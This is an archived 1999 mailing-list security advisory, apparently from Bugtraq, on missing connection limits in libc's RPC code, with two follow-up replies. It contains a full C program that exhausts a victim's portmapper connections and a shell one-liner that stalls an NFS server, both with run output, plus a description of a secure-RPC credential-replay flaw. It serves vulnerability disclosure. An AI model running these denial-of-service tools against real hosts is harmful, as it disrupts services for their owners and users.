Lucene search

K

kki.rpc.libc.DoS.txt

🗓️ 17 Aug 1999 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Security report on RPC flaws in libc libraries causing denial of service vulnerabilities

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`Date: Wed, 14 Apr 1999 15:26:14 +0200  
From: Lukasz Luzar <[email protected]>  
To: [email protected]  
Subject: KKIS.08041999.001.b - security raport - flaws in rpc part of libc  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
### ### ### ### ###  
### ### ### ### ###  
###### ###### ###  
### ### ### ### ###  
### ### ### ### ###  
  
S E C U R I T Y  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Contacts ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
KKI Security Team Cracow Commercial Internet, Poland  
http://www.security.kki.pl http://www.kki.pl  
mailto:[email protected] mailto:[email protected]  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Raport title : Lack of RPC's implementation in libc libraries  
and how it affects for example portmap.  
Problem found by : Lukasz Luzar ([email protected])  
Raport created by : Robert Pajak ([email protected])  
Lukasz Luzar ([email protected])  
Problem found at : 08 April 1999  
Raport published : 14 April 1999  
Raport code : KKIS.08041999.001.b  
Short description : full description below  
Vulnerable versions : libc*, up to current.  
Platforms affected : Linux X.X, FreeBSD X.X, probably others...  
Patches : curently not available  
Archive : http://www.security.kki.pl/advisories/  
Impact description : full description below  
Risk level : medium  
Notes : we were unable to contact with authors of libc  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Description ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
It seems that libc's RPC implementation does not check neither time  
of established connections, nor number of connected sockets.  
It is quite dangerous, because many network services is based on this  
functions.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~[ Impact example ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Below there is ther program which shows how to make DoS of portmap (tcp)  
When max. limit of descriptors per process is not set, it could  
easly lead to haevy problems with victim's machine stability.  
(e.g. default sets on FreeBSD)  
When limit of open descriptors is reached, portmap begins to refuse all  
new connections.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~[ Example sources ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
--- CUT HERE ---  
/*  
* example.c by Lukasz Luzar ([email protected])  
*/  
  
#include <stdio.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
  
#define ADDR "10.0.0.1" // victim's IP address in dot notation  
#define PORT 111 // victim service to DoS eg. portmapper  
  
void main()  
{  
int sockfd,  
n = 0;  
struct sockaddr_in victim_addr;  
  
bzero((char *) &victim_addr, sizeof( victim_addr));  
  
victim_addr.sin_family = AF_INET;  
victim_addr.sin_addr.s_addr=inet_addr( ADDR);  
victim_addr.sin_port = htons( PORT);  
  
fprintf( stdout, "Opening new connections...\n");  
  
for(;;) {  
if(( sockfd = socket( AF_INET, SOCK_STREAM, 0)) < 0) {  
fprintf( stderr, "socket error at %d\n",n);  
break;  
}  
  
if( connect( sockfd,(struct sockaddr*) &victim_addr,  
sizeof( victim_addr)) < 0) {  
fprintf( stderr,"connect error at %d\n",n);  
break;  
}  
  
n++;  
}  
  
fprintf( stdout, "Established %d connections "  
"and waiting...\n", n);  
for(;;);  
  
}  
--- CUT HERE ---  
  
~~~~~~~~~~~~~~~~~~~~~~~[ Copyright statement ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Copyright (c) 1999 KKI Security Team, Poland  
All rights reserved.  
  
All questions please address to mailto:[email protected]  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
------------------------------------------------------------------------------------  
  
Date: Fri, 16 Apr 1999 10:19:47 +0200  
From: Olaf Kirch <[email protected]>  
To: [email protected]  
Subject: Re: KKIS.08041999.001.b - security raport - flaws in rpc part of libc  
  
On Wed, 14 Apr 1999 15:26:14 +0200, Lukasz Luzar wrote:  
> Below there is ther program which shows how to make DoS of portmap (tcp)  
> When max. limit of descriptors per process is not set, it could  
> easly lead to haevy problems with victim's machine stability.  
> (e.g. default sets on FreeBSD)  
> When limit of open descriptors is reached, portmap begins to refuse all  
> new connections.  
  
It will continue to service UDP requests, which is what almost all  
portmapper functions in libc use. Prominent exception is rpcinfo -p  
which uses tcp. So I guess this attack is mostly a nuisance...  
  
$ /tmp/pmap 127.0.0.1  
Opening new connections...  
Opened 252 connections and waiting...  
^Z  
$ rpcinfo -p  
rpcinfo: can't contact portmapper: rpcinfo: RPC: Unable to receive; errno = Broken pipe  
$ rpcinfo -u localhost portmap  
program 100000 version 2 ready and waiting  
  
BTW, there's some secure rpc bug i've been sitting on for a while; I  
hear it has been fixed in Solaris 7: when using auth_des, you could  
send an auth_des credential/verifier with a length of 0. The authentication  
code would not verify the length passed by the client, hence using  
whatever it had in its buffer from the most recent rpc call. Which  
coincidentally is a valid credential/verifier pair by whoever placed  
the last call to the server. And since replay protection only made  
sure that the credential time stamp is not _smaller_ than the most  
recent one from that principal, your call would be accepted...  
  
Olaf  
--  
Olaf Kirch | --- o --- Nous sommes du soleil we love when we play  
[email protected] | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax  
  
------------------------------------------------------------------------------------  
  
Date: Thu, 15 Apr 1999 21:46:34 +0200  
From: Peter van Dijk <[email protected]>  
To: [email protected]  
Subject: Re: KKIS.08041999.001.b - security raport - flaws in rpc part of libc  
  
On Wed, Apr 14, 1999 at 03:26:14PM +0200, Lukasz Luzar wrote:  
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
>  
> ### ### ### ### ###  
> ### ### ### ### ###  
> ###### ###### ###  
> ### ### ### ### ###  
> ### ### ### ### ###  
>  
> S E C U R I T Y  
>  
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Contacts ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
> KKI Security Team Cracow Commercial Internet, Poland  
> http://www.security.kki.pl http://www.kki.pl  
> mailto:[email protected] mailto:[email protected]  
>  
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[ Informations ]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
> Raport title : Lack of RPC's implementation in libc libraries  
> and how it affects for example portmap.  
  
A much easier DOS is obtained by connecting to an RPC port and just sending some random  
(most will do) garbage every 5 seconds. Note that this _does_ affect the UDP services  
in the same daemons. I have seen this bug in _every_ RPC implementation, with a few  
exceptions: mcserv (which does not really use the RPC protocol, only the portmapper),  
Sun's own nfsd [although their portmapper is buggy], and NetApp boxes.  
  
To wit:  
[root@koek] ~# ( while true ; do echo ; sleep 5 ; done ) | telnet zopie 2049  
Trying 10.10.13.1...  
Connected to zopie.attic.vuurwerk.nl.  
Escape character is '^]'.  
NFS server zopie not responding, still trying.  
Connection closed by foreign host.  
[root@koek] ~# NFS server zopie OK.  
  
  
Right after I started the telnet, I switched to another VC and did ls /zopie, the NFS  
mounted disk. The ls did not give any output until I ctrl-C'ed the telnet.  
  
Greetz, Peter  
--  
| 'He broke my heart, | Peter van Dijk |  
I broke his neck' | [email protected] |  
nognixz - As the sun | Hardbeat@ircnet - #cistron/#linux.nl |  
| Hardbeat@undernet - #groningen/#kinkfm/#vdh |  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
17 Aug 1999 00:00Current
7.4High risk
Vulners AI Score7.4
26
.json
Report